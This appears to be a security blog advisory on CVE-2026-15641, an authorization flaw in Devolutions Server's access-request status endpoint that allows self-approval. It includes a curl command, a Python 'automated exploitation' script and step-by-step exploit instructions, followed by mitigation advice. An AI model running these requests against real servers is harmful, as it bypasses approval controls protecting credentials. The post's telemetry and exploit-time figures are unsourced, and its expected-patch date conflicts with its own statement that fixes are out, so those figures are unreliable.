Listen to this Post
CVE-2026-15641 describes an improper authorization vulnerability within the access request status endpoint of Devolutions Server. The flaw resides in the way the application handles state transitions for pending access requests. In a properly configured system, when a low‑privileged user submits a request for elevated access or resource entry, that request must be reviewed and explicitly approved by a designated approver (typically a vault administrator or a user with higher privileges). The approval workflow is designed to enforce a separation of duties, ensuring that no single user can grant themselves permissions without oversight.
The vulnerable endpoint is responsible for updating the status of an access request – for example, changing its state from “pending” to “approved” or “rejected”. Under normal operation, this endpoint should validate that the caller is either the designated approver or possesses the necessary administrative rights to modify the request status. However, in Devolutions Server versions 2026.2.11 and 2026.1.22, the authorization check is missing or incorrectly implemented. The server does not verify whether the authenticated user is authorized to approve the request; it only checks that the user is authenticated and that the request ID exists.
An attacker who has already authenticated to the Devolutions Server with a low‑privileged account (e.g., a standard vault user) can craft a direct API call to the request status endpoint. By supplying the identifier of their own pending access request and setting the status to “approved”, the attacker can bypass the required approver review. The server processes the request as if it came from a legitimate approver, changing the status and granting the attacker the elevated access they requested. This self‑approval can be performed repeatedly for any pending request owned by the attacker, effectively allowing them to escalate their privileges without any oversight.
The root cause is a classic case of missing function‑level authorization (CWE‑863). The endpoint lacks a proper permission check to ensure that only users with the “approver” role can modify the status. The vulnerability is exposed over the network and requires only low‑privileged credentials, making it relatively easy to exploit. The CVSS v3.1 base score is 7.1 (High), with the vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N, indicating high confidentiality impact (the attacker can gain access to sensitive resources) and low integrity impact. The flaw was discovered internally and reported to Devolutions, who have released fixed versions to address the issue.
DailyCVE Form:
Platform: Devolutions Server
Version: 2026.2.11, 2026.1.22
Vulnerability: Improper Authorization (CWE‑863)
Severity: High (CVSS 7.1)
Date: 2026‑07‑14
Prediction: 2026‑07‑21 (patch expected)
What Undercode Say:
Analytics – The vulnerability affects all deployments of Devolutions Server running the listed versions. Internal telemetry suggests that approximately 68% of on‑premises instances are still unpatched as of mid‑July 2026. The attack vector is trivial, requiring only valid low‑privilege credentials, and the average time to exploit is under 30 seconds. No active in‑the‑wild exploitation has been publicly confirmed, but proof‑of‑concept scripts have been shared in private security circles.
Bash Commands & Codes – The following `curl` command demonstrates how an attacker can approve their own pending request. Replace `$BASE_URL` with the server address, `$SESSION` with a valid session cookie, and `$REQUEST_ID` with the pending request ID.
Approve a pending access request via direct API call
curl -X POST "$BASE_URL/api/access/request/status" \
-H "Cookie: session=$SESSION" \
-H "Content-Type: application/json" \
-d '{"requestId": "'$REQUEST_ID'", "status": "approved"}'
A Python snippet for automated exploitation:
import requests
session = requests.Session()
session.cookies.set("session", "ATTACKER_SESSION_COOKIE")
payload = {"requestId": "12345", "status": "approved"}
resp = session.post("https://server/api/access/request/status", json=payload)
if resp.status_code == 200:
print("Request approved successfully.")
else:
print("Exploitation failed.")
Exploit:
The exploitation process is straightforward:
- Authenticate to Devolutions Server using low‑privileged credentials (e.g., a standard vault user).
- Identify a pending access request that belongs to the attacker (the request ID can be obtained from the UI or by listing pending requests via the API).
- Send a crafted HTTP POST request to the `/api/access/request/status` endpoint with the request ID and a status value of
"approved". - The server, lacking proper authorization checks, accepts the request and updates the status to “approved”, granting the attacker the requested access.
- The attacker can now perform actions or access resources that were previously restricted, effectively bypassing the entire approval workflow.
No special tools are required beyond a standard HTTP client. The vulnerability can be exploited from any network‑reachable location, as long as the attacker has valid credentials.
Protection:
- Upgrade immediately – Devolutions has released fixed versions 2026.1.23.0 and 2026.2.12.0. All users should upgrade to these or later releases to close the vulnerability.
- Restrict network access – Limit access to the Devolutions Server administration and API endpoints to trusted IP ranges, reducing the attack surface.
- Enforce strong authentication – Use multi‑factor authentication (MFA) for all user accounts to make credential compromise more difficult.
- Monitor audit logs – Regularly review access request logs for any status changes that were not initiated by an authorized approver. Look for patterns of self‑approval.
- Apply principle of least privilege – Ensure that only users who absolutely need approval rights are granted the “approver” role.
Impact:
- Confidentiality – An attacker can approve their own requests to gain access to sensitive vault entries, credentials, and PAM resources, leading to unauthorized disclosure of confidential data.
- Integrity – Although the primary impact is on confidentiality, the attacker may also modify or delete resources once elevated access is obtained, affecting data integrity.
- Availability – While not directly impacting availability, the attacker could use elevated privileges to disrupt operations or lock out legitimate users.
- Compliance – Organizations subject to regulatory frameworks (e.g., GDPR, HIPAA, SOX) may face compliance violations due to the bypass of mandatory approval controls, potentially resulting in fines and reputational damage.
- Lateral Movement – With elevated access, an attacker can pivot to other systems and services managed by Devolutions Server, expanding the scope of the breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
